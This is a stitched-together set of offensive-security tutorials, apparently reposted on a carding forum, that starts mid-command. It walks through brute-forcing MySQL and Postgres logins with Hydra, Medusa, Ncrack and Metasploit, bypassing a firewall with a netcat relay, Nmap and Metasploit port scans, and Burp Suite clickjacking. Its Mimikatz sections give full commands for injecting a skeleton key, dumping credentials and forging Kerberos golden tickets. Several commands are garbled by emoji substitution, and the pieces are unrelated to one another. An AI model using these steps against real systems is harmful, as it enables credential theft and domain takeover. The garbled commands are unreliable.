msf exploit (scanner/postgres/postgres_login)>set pass_file /root/Desktop/pass.txt
msf exploit (scanner/postgres/postgres_login)>set stop_on_success true
msf exploit (scanner/postgres/postgres_login)> exploit

From given below image you can observe that we had successfully grabbed the POSTGRES username and password.
[Image: 10.png?w=687&ssl=1]

In this article, we will learn how to gain control over our victim’s PC through mysql service via port 3306. There are various ways to do it and let take time and learn all those because different circumstances call for different measure.
Medusa
Medusa is intended to be a speedy, massively parallel, modular, login brute-forcer. It supports many protocols: AFP, CVS, FTP, HTTP, IMAP, rlogin, SSH, Subversion, and VNC to name a few
Run the following command
medusa  -h 192.168.1.106 –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mysql
1
medusa  -h 192.168.1.106 –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mysql

Here
-U: denotes path for username list
-P:  denotes path for password list
As you can observe that we had successfully grabbed the mysql username as root and password as toor.
[Image: 2.png?w=687&ssl=1]
Ncrack
Ncrack is a high-speed network authentication cracking tool. It was built to help companies secure their networks by proactively testing all their hosts and networking devices for poor passwords.
Run the following command
ncrack –v –U /root/Desktop/user.txt–P /root/Desktop/pass.txt 192.168.1.106:3306
1
ncrack –v –U /root/Desktop/user.txt–P /root/Desktop/pass.txt 192.168.1.106:3306

Here
-U: denotes path for username list
-P:  denotes path for password list
As you can observe that we had successfully grabbed the mysql username as root and password as toor.
[Image: 3.png?w=687&ssl=1]
xHydra
This is the graphical version to apply dictionary attack via 3306 port to hack a system. For this method to work:
Open xHydra in your kali. And select Single Target option and their give the IP of your victim PC. And select MYSQL in box against Protocol option and give the port number 3306 against the port option.
[Image: 4.png?w=687&ssl=1]
Now, go to Passwords tab and select Username List and give the path of your text file, which contains usernames, in the box adjacent to it.
Then select Password List and give the path of your text file, which contains all the passwords, in the box adjacent to it.
[Image: 5.png?w=687&ssl=1]
After doing this, go to Start tab and click on Start button on the left.
Now, the process of dictionary attack will start. Thus, you will attain the username and password of your victim.
[Image: 6.png?w=687&ssl=1]
Hydra
Hydra is often the tool of choice. It can perform rapid dictionary attacks against more than 50 protocols, including telnet, ftp, http, https, smb, several databases, and much more
Now, we need to choose a wordlist. As with any dictionary attack, the wordlist is key. Kali has numerous wordlists built right in.
Run the following command
hydra –L /root/Desktop/user.txt –P /root/Desktop/pass.txt 192.168.1.106 mysql
1
hydra –L /root/Desktop/user.txt –P /root/Desktop/pass.txt 192.168.1.106 mysql

-L: denotes path for username list
-P:  denotes path for password list
Once the commands are executed it will start applying the dictionary attack and so you will have the right username and password in no time. As you can observe that we had successfully grabbed the mysql username as root and password as toor.
[Image: 7.png?w=687&ssl=1]
Metasploit
This module simply queries the MySQL instance for a specific user/pass (default is root with blank).
msf > use auxiliary/scanner/mysql/mysql_login
msf auxiliary(mysql_login) > set rhosts 192.168.1.106
msf auxiliary(mysql_login) > set user_file /root/Desktop/users.txt
msf auxiliary(mysql_login) > set pass_file /root/Desktop/password.txt
msf auxiliary(mysql_login) > set stop_on_success true
msf auxiliary(mysql_login) > run

1
2
3
4
5
6

msf > use auxiliary/scanner/mysql/mysql_login
msf auxiliary(mysql_login) > set rhosts 192.168.1.106
msf auxiliary(mysql_login) > set user_file /root/Desktop/users.txt
msf auxiliary(mysql_login) > set pass_file /root/Desktop/password.txt
msf auxiliary(mysql_login) > set stop_on_success true
msf auxiliary(mysql_login) > run

This will start brute force attack and try to match the combination for valid username and password using user.txt and pass.txt file.
From given image you can observe that our mysql server is not secure against brute force attack because it is showing matching combination of username: root and password: toor for login.
Once the attacker retrieves the valid credential he can directly login into mysql server for stealing or destroying the database information.
[Image: 8.png?w=687&ssl=1]

Today we are going to access the ssh port which is blocked by the firewall and is forwarded to another port through Port relay tool. Netcat relay is quite a useful tool to connect with any remote system by evading the firewall restriction.
Attacker: Kali Linux (IP: 192.168.1.2)
Victim: Ubuntu Server (IP: 192.168.1.7)
Connect to SSH via port 22
Lets first try to get the normal SSH shell.  As you can see in the given screenshot we successfully get the ssh shell on the port 22 of the Server 192.168.1.7.
ssh [email protected]
1
ssh [email protected]

[Image: 1.png?w=687&ssl=1]
Block Port 22 for Incoming TCP Packet
Now let’s block SSH service Port 22 for Incoming TCP Packet using Iptables. Here we are making an inbound rule to block the TCP packets on the port 22 if the packet source is Kali (192.168.1.2)
iptables –A INPUT –s 192.168.1.2 –p tcp –dport 22 –j DROP
1
iptables –A INPUT –s 192.168.1.2 –p tcp –dport 22 –j DROP

[Image: 2.png?w=687&ssl=1]
After Blocking the port let’s try to get a shell. From given below image you can observe that we got a Connection Time Out Error as the packets are dropped by the firewall.
[Image: 3.png?w=687&ssl=1]
Allow TCP Packets on another port
Now let’s make a rule in the firewall to accept the TCP packets on the port 4444 if the packet source is Kali (192.168.1.2).
iptables –I INPUT 1 –s 192.168.1.2 –p tcp –dport 4444 –j ACCEPT
1
iptables –I INPUT 1 –s 192.168.1.2 –p tcp –dport 4444 –j ACCEPT

[Image: 4.png?w=687&ssl=1]
Check Netcat communication between Attacker and Client
Let’s check if we can get a netcat session on the port 4444 to the Kali (192.168.1.2).
nc –v –l –p 4444
1
nc –v –l –p 4444

[Image: 5.png?w=687&ssl=1]
nc 192.168.1.7 4444
1
nc 192.168.1.7 4444

As you can see in the given Image that we have received a netcat session on the port 4444 from SSH server on the Kali (192.168.1.2).
[Image: 6.png?w=687&ssl=1]
Use Netcat Relay backpipe to access SSH service
Now we will have to make a Relay. But first, let’s understand, what the commands depicted below do?
The First command makes a special type of file called a FIFO or named pipe. We call it backpipe because it is going to carry our responses back through the relay.
Now the second command makes a netcat listener that is allowed through the firewall. This Netcat listener will connect its standard input (0<) to the backpipe. We then forward the standard output of this Netcat listener to Netcat client, which connects to our localhost (127.0.0.1) on TCP port 22 where sshd listens. We then use the forward pipe (1>) to send data and receive responses simultaneously. We need a back and forward pipe because Netcat provides two-way communication.
mknod /tmp/backpipe p
1
mknod /tmp/backpipe p

Here,
[p]: Tells the mknod to create a FIFO
nc –l –p 4444 0</tmp/backpipe | nc localhost 22 1>/tmp/backpipe
1
nc –l –p 4444 0</tmp/backpipe | nc localhost 22 1>/tmp/backpipe

Here,
[-l]: Listener
[-p]: Port
[Image: 7.png?w=687&ssl=1]
Access SSH through Netcat Relay
Now let’s try to connect the ssh connection through the port 4444.
ssh [email protected] –p 4444
1
ssh [email protected] –p 4444

Here,

[-p]: To specify Port
[Image: 8.png?w=687&ssl=1]


  [Guide] How to Generating Scan Reports Using Nmap (Output Scan)
Posted by: NINZA - 05-14-2020, 08:20 AM - Forum: Carders Home - No Replies

Hello friends, several times you might have used NMAP to performing Network scanning for enumerating active Port services of target machine but there are sometimes where we want to save the nmap scan. Nmap output scan is used to save the result of nmap scan in different formats.
Let’s Begin
Requirement
Attacker: Kali Linux
Target’s IP: 192.168.1.113
Normal Output Format
-oN <filespec> (normal output)
Nmap supports different formats for saving scan results. Depending on your needs, you can choose between a normal, XML, and grepable output. Normal mode saves the output as you see it on your screen, minus the runtime debugging information. This mode presents the findings in a well structured and easy-to-understand manner.
nmap 192.168.1.113 -oN /root/Desktop/nmap
1
nmap 192.168.1.113 -oN /root/Desktop/nmap

[Image: 1.png?w=687&ssl=1]
Now the scan is saved on desktop and we can access it using cat or text editor.
cat Desktop/nmap
[Image: 2.png?w=687&ssl=1]
XML Output Format
-oX <filespec> (XML output)
XML stands for Extensible Markup Language is a usually known, tree-structured file format supported by Nmap.To save the scan results to a file in the XML format; add the option -oX <filename>, as shown in the following command:
nmap -p80 192.168.1.113 -oX  ~/Desktop/nmap.xml
1
nmap -p80 192.168.1.113 -oX  ~/Desktop/nmap.xml

[Image: 3.png?w=687&ssl=1]
Nmap also consist of additional debugging information when you save the scan results in this format.
An XML file, when generated, will contain the following information:

  • Host and port states
  • Services
  • Timestamps
  • Executed command
  • Nmap Scripting Engine output
  • Run statistics and debugging information
You can view the output in Gedit, It will look as shown below
[Image: 4.png?w=687&ssl=1]
We can also convert the Nmap scan which we saved in the xml format earlier to a portable html format using the given command:
xsltproc Desktop/nmap.xml –o nmap.html
[Image: 5.1.png?w=687&ssl=1]
Now open the nmap.html file in your favourite browser. Here is a screenshot depicting the converted html report. As you can see that it is very simply formatted and Easy to Read and Understand.
[Image: 5.2.png?w=687&ssl=1]
Script kiddie output
-oS <filespec> (ScRipT KIdd|3 oUTpuT)
Script kiddie output is like interactive output, except that it is post-processed to better suit the l33t HaXXorZ, this option was made to make fun of script kiddies.
nmap 192.168.1.113 -oS /root/Desktop/nmap
1
nmap 192.168.1.113 -oS /root/Desktop/nmap

[Image: 5.png?w=687&ssl=1]
Now we can see that the file is saved on desktop which is as similar as normal scan output result.
cat Desktop/nmap
[Image: 6.png?w=687&ssl=1]
Grepable Output Format
-oG <filespec> (grepable output)
The grepable format was included to help users extract information from logs without having to write a parser, as this format is meant to be read/parsed with standard UNIX tools. To save the scan results to a file in the grepable format, add the option -oG <filename>, as shown in the following command:
nmap 192.168.1.113 -oG /root/Desktop/nmap
1
nmap 192.168.1.113 -oG /root/Desktop/nmap

[Image: 7.png?w=687&ssl=1]
In grepable mode, each host is placed on the same line with the format <field name>:
<value>,and each field is separated by tabs (\t). The number of fields depends on what
Nmap options were used for the scan.
There are eight possible output fields:
  • Host: This field is always included, and it consists of the IP address and reverse DNS name if available
  • Status: This field has three possible values—Up, Down, or Unknown
  • Ports: In this field, port entries are separated by a comma and a space character, and each entry is divided into seven fields by forward slash characters (/)
  • Protocols: This field is shown when an IP protocol (-sO) scan is used
  • Ignored: This field shows the number of port states that were ignored
  • OS: This field is only shown if OS detection (-O) was used
  • Seq Index: This field is only shown if OS detection (-O) was used
  • IP ID Seq: This field is only shown if OS detection (-O) was used
cat Desktop/nmap
[Image: 8.png?w=687&ssl=1]
Saving Output in ALL Format
-oA <basename> (Output to all formats)
Nmap supports the alias option -oA <basename>, which saves the scan results in all of the available formats—normal, XML, and grepable. The different files will be generated with the extensions .nmap, .xml, and .gnmap
nmap 192.168.1.113 -oA /root/Desktop/nmap
1
nmap 192.168.1.113 -oA /root/Desktop/nmap

[Image: 9.png?w=687&ssl=1]
Now we check the directory and find all the 3 types of file available to us.
[Image: 10.png?w=687&ssl=1]

Scanning port is a technique used by penetration tester for identifying the state of computer network services associated with the particular port number. For example, port 80 is available for HTTP service and port 22 is available for SSH service.  We suggest using Nmap for enumerating port state, for best practice click

[To see content please register here]

and learn Nmap working in detail.

Moreover, Metasploit also serves port scanning for enumerating computer network services and make it easier as compare to Nmap.
Let’s start!!
Requirement
Attacker:  Kali Linux (192.168.1.103)
Target: Ubuntu (192.168.1.105)
Open the terminal and add given below iptables rules for incoming packet traffic in target’s network which will drop the tcp ACK packet on port 80 and SYN packet on port 22 respectively.
sudo iptables -I INPUT -p tcp --tcp-flags ALL ACK --dport 80 -j DROP
sudo iptables -I INPUT -p tcp --tcp-flags ALL SYN --dport 22 -j DROP

1
2

sudo iptables -I INPUT -p tcp --tcp-flags ALL ACK --dport 80 -j DROP
sudo iptables -I INPUT -p tcp --tcp-flags ALL SYN --dport 22 -j DROP

[Image: 1.png?w=687&ssl=1]
ACK Scan
Now open the terminal in your Kali Linux and type msfconsole to load Metasploit framework and execute given below auxiliary command to run the specific module.
This module will Map out firewall rulesets with a raw ACK scan. Any unfiltered ports found means a stateful firewall is not in place for them.
Now as specified in given below command this module will send ack packet on port 21, 22, 80,443 to enumerate state of the firewall for these ports. If it receives reset packet as a reply from destination port then it will display unfiltered state for that particular port and if does not receive reset packet from destination port then it will not show any comment for that particular port which means the port is protected by the firewall.
use auxiliary/scanner/portscan/ack
msf auxiliary(ack) > set rhosts 192.168.1.105
msf auxiliary(ack) > set ports 21,22,80,443
msf auxiliary(ack) >exploit

1
2
3
4

use auxiliary/scanner/portscan/ack
msf auxiliary(ack) > set rhosts 192.168.1.105
msf auxiliary(ack) > set ports 21,22,80,443
msf auxiliary(ack) >exploit

From given below image you can observe that it is showing TCP unfiltered for port 21,22,443 and did not comment for port 80 hence port 80 is filtered. This scan can be only used for identifying the state of the firewall in terms of port filter or unfiltered.
[Image: 2.png?w=687&ssl=1]
We had used Wireshark for demonstrating ack scan and here you can observe that port 80 doesn’t reply with RST packet which means ack packet for port 80 has been blocked by the network administrator.
[Image: 3.png?w=687&ssl=1]
SYN Scan
This module enumerates open TCP services using a raw SYN scan, the here syn packet will be sent on port 21, 22, 80,443 to enumerate state open/closed for these ports. If it receives syn, ack packet as a reply from destination port then it will display OPEN state for that particular port and if does not receives syn, ack packet from destination port then it will not show any comment for that particular port which indicates filtered or Closed state for that particular port.
use auxiliary/scanner/portscan/syn
msf auxiliary(syn) > set rhosts 192.168.1.105
msf auxiliary(syn) > set ports 21,22,80,443
msf auxiliary(syn) >exploit

1
2
3
4

use auxiliary/scanner/portscan/syn
msf auxiliary(syn) > set rhosts 192.168.1.105
msf auxiliary(syn) > set ports 21,22,80,443
msf auxiliary(syn) >exploit

From given below image you can observe that it is showing TCP OPEN for port 21,80,443 and did not comment for port 22 hence port 22 is filtered or closed.
[Image: 4.png?w=687&ssl=1]
Again we had used Wireshark for demonstrating syn scan and here you can observe that port 22 doesn’t reply with SYN, ACK packets which mean SYN packet for port 22 has been blocked by the network administrator.
Moreover, you can observe the following packet communication between the source and destination port.
  • Source port sends SYN packet to the destination port
  • Source port receives SYN, ACK packet from the destination port
  • Source port sends RST packet to the destination port
[Image: 5.png?w=687&ssl=1]
TCP Scan
Enumerate open TCP services by performing a full TCP connect on each port. This does not need administrative privileges on the source machine, which may be useful if pivoting.
use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > set rhosts 192.168.1.105
msf auxiliary(tcp) > set ports 21,22,80,443
msf auxiliary(tcp) >exploit

1
2
3
4

use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > set rhosts 192.168.1.105
msf auxiliary(tcp) > set ports 21,22,80,443
msf auxiliary(tcp) >exploit

This scan is similar as SYN scan only the difference is that it follows TCP full communication i.e. 4-way handshake and SYN scan is followed half TCP communication.
From given below image you can observe that it is showing TCP OPEN for port 21,80,443 and did not comment for port 22 hence port 22 is filtered or closed.
[Image: 6.png?w=687&ssl=1]
Here you can observe that port 22 doesn’t reply with SYN, ACK packets which mean SYN packet for port 22 has been blocked by the network administrator.
Moreover, you can observe the following packet communication between the source and destination port.
  • Source port sends SYN packet to the destination port
  • Source port receives SYN, ACK packet from the destination port
  • Source port sends ACK packet to the destination port
  • Source port sends FIN, ACK packet to the destination port
[Image: 7.png?w=687&ssl=1]
XMAS Scan
Enumerate open|filtered TCP services using a raw “Xmas” scan; this sends probes containing the FIN, PSH, and URG flags.
Instead of using TCP 3-way handshake communication this scan uses other tcp flags for TCP communication for enumerating state of ports.
use auxiliary/scanner/portscan/xmas
msf auxiliary(xmas) > set rhosts 192.168.1.105
msf auxiliary(xmas) > set ports 21,22,80,443
msf auxiliary(xmas) >exploit

1
2
3
4

use auxiliary/scanner/portscan/xmas
msf auxiliary(xmas) > set rhosts 192.168.1.105
msf auxiliary(xmas) > set ports 21,22,80,443
msf auxiliary(xmas) >exploit

From given below image you can observe that, this time it has shown TCP OPEN| FILTERED for all ports i.e.  21,22,80,443
[Image: 8.png?w=687&ssl=1]
If you notice given below image here source port sends FIN, PUSH and URG packets to the destination and destination port didn’t send any reply to source port which indicates above specified port are open and if any destination port sends RST, ACK packet to source port then it indicated that particular port is closed.
[Image: 9.png?w=687&ssl=1]

What is Mimikatz?
Mimikatz is a Tool made in C Language by

[To see content please register here]

. It is a great tool to extract plain text passwords, hashes and Kerberos Tickets from Memory. It can also be used to generate Golden Tickets.

You can get Mimikatz In ZIP from

[To see content please register here]

. Or you can build it for git from

[To see content please register here]

.

Mimikatz comes in 2 architectures: x32 and x64. Here is a screenshot of the x64 mimikatz bash.
[Image: 1.png?w=687&ssl=1]
Generate Skeleton Key with Mimikatz
Victim: Windows Server 2012 R2 (Domain Controller)
Attacker: Mimikatz (On Windows Server 2012 R2)
In this attack, what mimikatz installs the patch on the Domain Controller to accept “mimikatz” as a new login password? It can be thought as a Master Key which will open the Active Directory to the attacker. This attack can be performed as shown below.
First, I will try to login on my Server using mimikatz as a password.
[Image: 2.png?w=687&ssl=1]
As you can see clearly that we cannot login into the server using ‘mimikatz’ as a password.
[Image: 3.png?w=687&ssl=1]
Now I will log in the server using its password which is ‘T00r’.
[Image: 4.png?w=687&ssl=1]
And as you can see below I have logged in the Server using the correct password
[Image: 5.png?w=687&ssl=1]
If you ever are logged in on a server or have a server unlocked, you can create a skeleton key to be stored inside the memory of the Server by using Mimikatz.
Launch the Mimikatz Terminal according to the architecture of the server (x32, x64). Now first we will get the debugging privilege in Mimikatz using
privilege::debug
1
privilege::debug

And then we will inject the mimikatz skeleton key in the memory of server using
misc:Confusedkeleton
1
misc:Confusedkeleton

With this, we have our skeleton key successfully injected on the server.
Note: You will have to open mimikatz with Administrative Privilege to create a Skeleton Key.
[Image: 6.png?w=687&ssl=1]
Now I will try to login the server using the skeleton key “mimikatz” we just injected in the memory. Remember last time we tried to log in the server using mimikatz as a password we were unsuccessful.
[Image: 7.png?w=687&ssl=1]
But this time ‘mimikatz’ was accepted as a password. This does not mean that we reset the original password ‘T00r’. The server will continue to log in using ‘T00r’ but now it will also accept ‘mimikatz’ as a password too.
Now, remember that we injected the skeleton key in the memory, not in storage so the next time that admin restarts the server we will lose the access. So the best way to protect your Domain Controller from Skeleton Key is a practice of restarting the Server Frequently or prevents mimikatz from accessing the memory.
[Image: 8.png?w=687&ssl=1]
Blue Screen of Death (BSOD) with Mimikatz
Attacker: Mimikatz (on Windows 7)
Victim: Windows 7
We can perform a Blue Screen of Death or BSOD attack using mimikatz. This shows how powerful this tool is.  To perform the BSOD on a System follow the steps mentioned below:
  • Run mimikatz with Administrator
  • Start mimidrv service
!+
1
!+

[Image: 9.png?w=687&ssl=1]
Now Initiate the BSOD as given below in the following command.
!bsod
1
!bsod

[Image: 10.png?w=687&ssl=1]
As you can see below we have the Blue Screen of Death Error
Note: This attack can corrupt data and potentially harm the system. Use Carefully !!
[Image: 11.png?w=687&ssl=1]
Display Hostname
You can extract hostname of the Victim System by typing hostname in the mimikatz Terminal.
hostname
1
hostname

We have extracted the hostname of the system as Pavan-pc
[Image: 13.png?w=687&ssl=1]
Golden Ticket Generation with Mimikatz
Attacker: Mimikatz on Windows Server 2012 R2
Victim: Windows Server 2012 R2
To Generate a Golden Ticket, we will require the following information:
  1. Domain
  2. SID
  3. NTLM Hash
Let’s get the Domain First.
To get the Domain we will run the ipconfig /all from the Command Line or PowerShell
[Image: 14.png?w=687&ssl=1]
  • Domain on my Server is Pavan.local
  • Now to get SID we will use whoami /user command as shown in given below image.
[Image: 15.png?w=687&ssl=1]
Now we will mimikatz itself to extract the NTLM hash required to generate the Ticket.
First, we will get the Debugging Privilege using the following command given below.
privilege::debug
1
privilege::debug

And now to extract hashes we will run following command given below.
sekurlsa::logonpasswords
1
sekurlsa::logonpasswords

[Image: 16.png?w=687&ssl=1]
And now we have it all that we need to generate the Ticket.
Syntax: Kerberos::golden /domain:[Domain] /sid:[SID] /rc4:[NTLM Hash] /user:[Username To Create] /id:500 /ptt
kerberos::golden /domainTongueAVAN.LOCAL /sid:S-1-5-21-1118594253-693012904-2765600535 /rc4:9a7a6f22651d6a0fcc6e6a0c723c9cb0 /user:hacker /id:500 /ptt
1
kerberos::golden /domainTongueAVAN.LOCAL /sid:S-1-5-21-1118594253-693012904-2765600535 /rc4:9a7a6f22651d6a0fcc6e6a0c723c9cb0 /user:hacker /id:500 /ptt

Here I am creating the golden key for a user named ‘hacker’; you can use any of the existing users of the Domain or create a new one.
I am using the [/ppt] option to pass the ticket in the current session.
[Image: 17.png?w=687&ssl=1]
Now run the command prompt to the access of Share Folder and execute given below command:
pushd \\WINSERVER01\c$
1
pushd \\WINSERVER01\c$

Now we are in Z: drive execute given below command for NT directory services
cd WINDOWS\NTDS
DIR

1
2

cd WINDOWS\NTDS
DIR

As you can see that we get the access to the shared folder which cannot be accessed without Admin Access but we had obtained it without using CMD as administrator. From given below image you can observe that it is showing 8 files and 2 folders.
[Image: 18.png?w=687&ssl=1]
Remotely Generating Golden Ticket
Attacker: Kali
Victim: Windows Server 2012 R2
Firstly get a Meterpreter Access of the Server which you can learn from

[To see content please register here]


[Image: 19.png?w=687&ssl=1]
Once gaining the meterpreter upload the mimikatz folder to the victim system using the command
upload -r /root/Desktop/mimi c:\
1
upload -r /root/Desktop/mimi c:\

Remember to use -r so that upload command uploads recursively.
[Image: 20.png?w=687&ssl=1]
Open the shell and extract Domain using ipconfig /all
[Image: 21.png?w=687&ssl=1]
And SID using the whoami /user
[Image: 22.png?w=687&ssl=1]
Now go to the location where we uploaded the mimikatz earlier and run mimikatz.exe as shown below
[Image: 23.png?w=687&ssl=1]
Now let’s extract the krbtgt NTLM hash using the following command
lsadump::lsa /inject /name:krbtgt
1
lsadump::lsa /inject /name:krbtgt

[Image: 24.png?w=687&ssl=1]
Now using all the information extracted let’s generate a golden ticket in the same way we did above.
kerberos::golden /domain:pavan.loc /sid:S-1-5-21-97841242-3460736137-492355079 /rc4:e847d2e54044172830e3e3a6b8438853 /user:Hacker /id:500 /ptt
1
kerberos::golden /domain:pavan.loc /sid:S-1-5-21-97841242-3460736137-492355079 /rc4:e847d2e54044172830e3e3a6b8438853 /user:Hacker /id:500 /ptt

[Image: 25.png?w=687&ssl=1]
Now let’s take the access of Share Folder and as you can see that we get access to the shared folder which cannot be accessed without Admin Access.
Hence we successfully generated a golden ticket in a Windows Server Remotely via Kali
[Image: 25.png?w=687&ssl=1]
Now let’s take the access of Share Folder and as you can see that we get access to the shared folder which cannot be accessed without Admin Access.
Hence we successfully generated a golden ticket in a Windows Server Remotely via Kali
[Image: 26.png?w=687&ssl=1]
Hack the Minesweeper Game
We all have played Minesweeper Game, and it is tough to get all the mines right but those days of worry are over. To show that the Mimikatz is a powerful but a playful Tool, here I will hack the minesweeper game using Mimikatz.
Firstly open Mimikatz of your respective architecture.
[Image: 27.png?w=687&ssl=1]
And then open the Minesweeper Game
[Image: 28.png?w=687&ssl=1]
To load minesweeper in the mimikatz by using
minesweeper::infos
1
minesweeper::infos

You can see in the above screenshot that the minesweeper grid is shown in the mimikatz shell.
[Image: 29.png?w=687&ssl=1]
Now click on any Random block on the minesweeper.
[Image: 30.png?w=687&ssl=1]
Now run the previous command again and now we have locations of mine on the grid.
[Image: 31.png?w=687&ssl=1]
You can verify this image with the One with Mimikatz shell.
[Image: 32.png?w=687&ssl=1]

Today we are going to discuss the advance option of Burp Suite pro for web penetration testing; here we had used Bwapp lab which you can install from

[To see content please register here]

and acunetix vulnerable web application which is available online for making web application penetration practices.

Burp suite Advanced Usage
  • Burp Infiltrator
  • Macros
  • Burp Clickbandit
Burp Infiltrator
Burp Infiltrator is a tool used to target web applications in order to test them using Burp Scanner. Burp Infiltrator is used to targeting application so that Burp can detect cases where its input can pass unsafe APIs on the server-side.
Burp Infiltrator supports applications which are written in:
  • Java, Groovy, Scala, or other JVM languages (JRE versions 1.4 – 1.8)
  • C#, VB, or other .NET languages (.NET versions 2.0 and later)
Let’s start!!
First, we need to enable the Burp Infiltrator from the Burp tab in burpsuite where we have to select the Burp Infiltrator option. Then we will see a Burp Infiltrator box will appear where you have to select the type of application you want to instrument as you shown in the image
[Image: 1.png?w=687&ssl=1]
After that, we need to select the folder where we want the Infiltrator file to be saved so that we can enable it later using the terminal.
[Image: 2.png?w=687&ssl=1]
Next, we will give the path of the folder where the infiltrator file will be saved as shown in the image.
[Image: 3.png?w=687&ssl=1]
Than the Burp Infiltrator file will be saved as burp_infiltrator_java.jar.
[Image: 4.png?w=687&ssl=1]
Now to enable the burp infiltrator file we will go to the path of the file using the terminal, then to execute it we need to give the command java –jar burp_infiltrator_java.jar –non-interactive. Then Press Enter the file will be executed.
[Image: 5.png?w=687&ssl=1]
We have used –non-interactive in our command so that it will automatically configure the default settings else we have to manually configure all the settings. Now we can intercept the request of any website or application based on the supported parameters as shown in the image.
[Image: 6.png?w=687&ssl=1]
Turn off the Intercept Tab. Select the Target Tab where we can see a SubTab in it as Site Map as shown in the image.
[Image: 7.png?w=687&ssl=1]
Then select the Url you want to scan using burp infiltrator, just Right click on the Url then select option Actively scan this host this will give all the issues related to the Website or application we want to scan. All the Issues related to the Url scanned can be seen in the Issue box as shown in the image.
[Image: 8.png?w=687&ssl=1]
Macros
Burp suite has a new session handling ability which can be used to run macros, according to session handling rules. A macro can be said as a predefined sequence of one or more than one request. The cases in Macros may include:
  • Fetching a page such as a user’s home page just to check whether the current session is still valid or not.
  • By performing a login operation to obtain a new valid session.
  • A token or nonce obtained can be used as a parameter in another request.
The Macros can be recorded using your browser. When defining a macro, Burp suite displays the Proxy history, from which you can select the requests to be used for the macro. You can select from previously made requests, or record a fresh macro and select the new items from the history. When you have recorded the macro, the macro editor shows the details of the items in the macro, which you can review and configure as per requirement.
Let’s start!!
First, we have intercepted the login request of Bwapp Lab where we have given the default username and password as shown in the image.
[Image: 9.png?w=687&ssl=1]
The request is captured in the Intercept Tab then Right Click anywhere around the captured request, next we need to select the option Do Intercept which has a sub-option Response to this request. Click on it.
[Image: 10.png?w=687&ssl=1]
Then we have forward the captured request until we are successfully logged into the Bwapp Lab.
After that go to Project options Tab where we need to select the Sessions Tab as shown in the image.
[Image: 12.png?w=687&ssl=1]
Click on Add Button under the Session Handling Rules which will open a Session handling rule editor window where we have given a name to the Rule under the Rule description as shown in the image.
[Image: 13.png?w=687&ssl=1]
Click on Add Button under Rule Action then select Check session is valid option which will open a window for Session handling action editor then give an expression you want the burp suite to look up in the Url like we have given login.php and Tick the option If session is invalid, perform the action below as shown in the image.
[Image: 14.png?w=687&ssl=1]
Click on Add Button under Select Macro which opens a window of Macro Recorder where we will select the item from the proxy history that we want to include in the Macro as shown in the image, Click Ok.
[Image: 15.png?w=687&ssl=1]
Next, the Macro Editor window will open where we will give a name to the macro in the Macro description field as shown in the image. Click Ok.
[Image: 16.png?w=687&ssl=1]
After this we will get back to Session handling rule editor where we will click on the Scope tab then we need to tick the options Extender, Proxy under Tools Scope and Include all URL’s under URL Scope, Click Ok now the macro will be running in the background.
[Image: 17.png?w=687&ssl=1]
As you can see in the image we are on the login page of the Bwapp Lab where we have not given any login details.
[Image: 18.png?w=687&ssl=1]
We made a simple change in the URL we replaced login.php with portal.php as shown in the image.
[Image: 19.png?w=687&ssl=1]
This has successfully logged us into Bwapp Lab without giving any login details.
[Image: 20.png?w=687&ssl=1]
Burp Clickbandit
Burp Clickbandit option in burp suite is a tool used for generating clickjacking attacks. When you know a web page that is vulnerable to clickjacking, we can use Burp Clickbandit to create an attack and to confirm the vulnerability can be successfully exploited. When running Burp Clickbandit on untrusted websites. Malicious JavaScript from the target site can take the authority of the HTML output that is generated by Burp Clickbandit. There are two modes in Burp Clickbandit as follows:
Record Mode
Burp Clickbandit first opens in record mode. Then we need to perform one or more mouse clicks to record your clickjacking attack, as this will involve performing the mouse clicks that the victim user needs to perform for making some desired action. We can also use the “disable click actions” checkbox to record clicks without the target page handling them. When you have finished recording, click the “Finish” button to enter review mode.
Review Mode
When you have finished recording your clickjacking attack, Burp Clickbandit enters into review mode. This lets you review the generated attack, with the attack user interface over the original page UI. You can click the buttons on the attack UI to verify that the attack works.
List of commands that are available in review mode:
  • + And – buttons are used to zoom in and out.
  • The “toggle transparency” button allows you to show or hide the original page UI.
  • The “reset” button restores the generated attack, as it was before any further clicks were made.
  • The “save” button is used to save an HTML file containing the attack. This can be used as a real-world exploit as clickjacking vulnerability.
  • You can use the keyboard arrow keys to reposition the attack UI over the original page UI, if not correctly aligned with the original page UI.
Let’s start!!
Burp Clickbandit runs on the browser using JavaScript. It can work on all latest browsers except for Microsoft IE and Edge.
To run Clickbandit, go to the Burp menu and select “Burp Clickbandit”.
Click the “Copy Clickbandit to clipboard” button. This will copy the Clickbandit script to your clipboard.
[Image: 21.png?w=687&ssl=1]
In your browser, visit the web page that you want to test, in the same way, we regularly do. Then in your browser, open the web developer console. This might also be called “developer tools” or “JavaScript console”. Paste the Clickbandit script by editing allow pasting before pasting copied code into the web developer console, and press enter.
[Image: 22.png?w=687&ssl=1]
The Burp Clickbandit Logo will appear at the top of the browser window and the original page will be loaded within the frame which readies for the attack to be performed, this is said to be the record mode of burp clickbandit. Then we need to perform one or more mouse clicks to record your clickjacking attack, as this will involve performing the mouse clicks that the victim user needs to perform for making some desired action. We can also use the “disable click actions” checkbox to record clicks without the target page handling them. When you have finished recording, click the “Finish” button to enter review mode.
[Image: 23.png?w=687&ssl=1]
When you have finished recording your clickjacking attack, Burp Clickbandit enters into review mode. This lets you review the generated attack, with the attack user interface over the original page UI.
[Image: 24.png?w=687&ssl=1]Click on Save Button, allows you to save an html file containing the attack. This can be used as a real-world exploit as clickjacking vulnerability.
[Image: 25.png?w=687&ssl=1]
We have opened the saved html file which shows a transparent UI we have created over the original UI with a click button in the red box appearing on the page.
[Image: 26.png?w=687&ssl=1]
We can click the buttons on the attack UI to verify that the attack works. A message will appear the, you’ve been clickjacked as shown in the image.
[Image: 27.png?w=687&ssl=1]


  [Guide] Comprehensive Guide on Nmap Port Status
Posted by: NINZA - 05-14-2020, 08:16 AM - Forum: Carders Home - No Replies

Hello friends, several times you might have used NMAP to performing Network scanning for enumerating active Port services of target machine but in some scenarios you don’t get simple message if a port open or close.
Let’s Begin
Requirement

  • Attacker’s IP:  192.168.1.109 [Kali Linux]
  • Target’s IP: 192.168.1.119 [Ubuntu]
The states of ports are not their essential properties; it depicts how nmap sees them. In nmap a port is divided into six states:
  1. Open:  This state means that an application on the target machine is listening for connections/packets on that port.
  2. Closed: This state means ports have no application listening on them, though they could open up at any time.
